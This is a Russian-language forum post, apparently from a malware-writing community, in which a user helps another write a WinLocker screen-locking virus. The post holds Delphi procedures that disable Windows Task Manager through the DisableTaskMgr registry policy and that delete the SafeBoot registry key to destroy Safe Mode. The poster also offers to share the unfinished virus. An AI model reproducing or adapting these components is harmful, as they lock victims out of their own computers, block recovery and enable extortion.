[ruivit]

Ты что ли WinLocer пишешь? Так и говори четко? здесь все свои Вот процедура блокировки диспетчера задач работает на windows 7.

Код:

// Процедура отрубающия диспечер

procedure OfDispecher;
  var
  r:Tregistry;
  begin
r:=Tregistry.Create;
r.RootKey:=HKEY_CURRENT_USER;
r.OpenKey('software\Microsoft\Windows\CurrentVersion\Policies\system',true);
r.WriteInteger('DisableTaskMgr',1);
r.closekey;
r.free;
end;

//--------------------------------
// Процедура включающия диспечер
 procedure OnDispecher;
  var
  r:Tregistry;
  begin
r:=Tregistry.Create;
r.RootKey:=HKEY_CURRENT_USER;
r.OpenKey('software\Microsoft\Windows\CurrentVersion\Policies\system',true);
r.WriteInteger('DisableTaskMgr',0);
r.closekey;
r.free;
end;

Вот эта отрубает безопасный режим

Код:

 procedure OfRegim;
    var
    reg: tregistry;
    begin
    reg:=TRegistry.Create;
    reg.RootKey:=HKEY_LOCAL_MACHINE;
    if Reg.KeyExists('SYSTEM\CurrentControlSet\Control\SafeBoot') then
    begin
    reg.DeleteKey('SYSTEM\CurrentControlSet\Control\SafeBoot');
    reg.CloseKey;
    reg.free;
end
else
  sleep(1);
end;

Если в хочешь могу скинуть не доделанный сам вирус чтоб ты имел ввиду из чего зверек слеплен...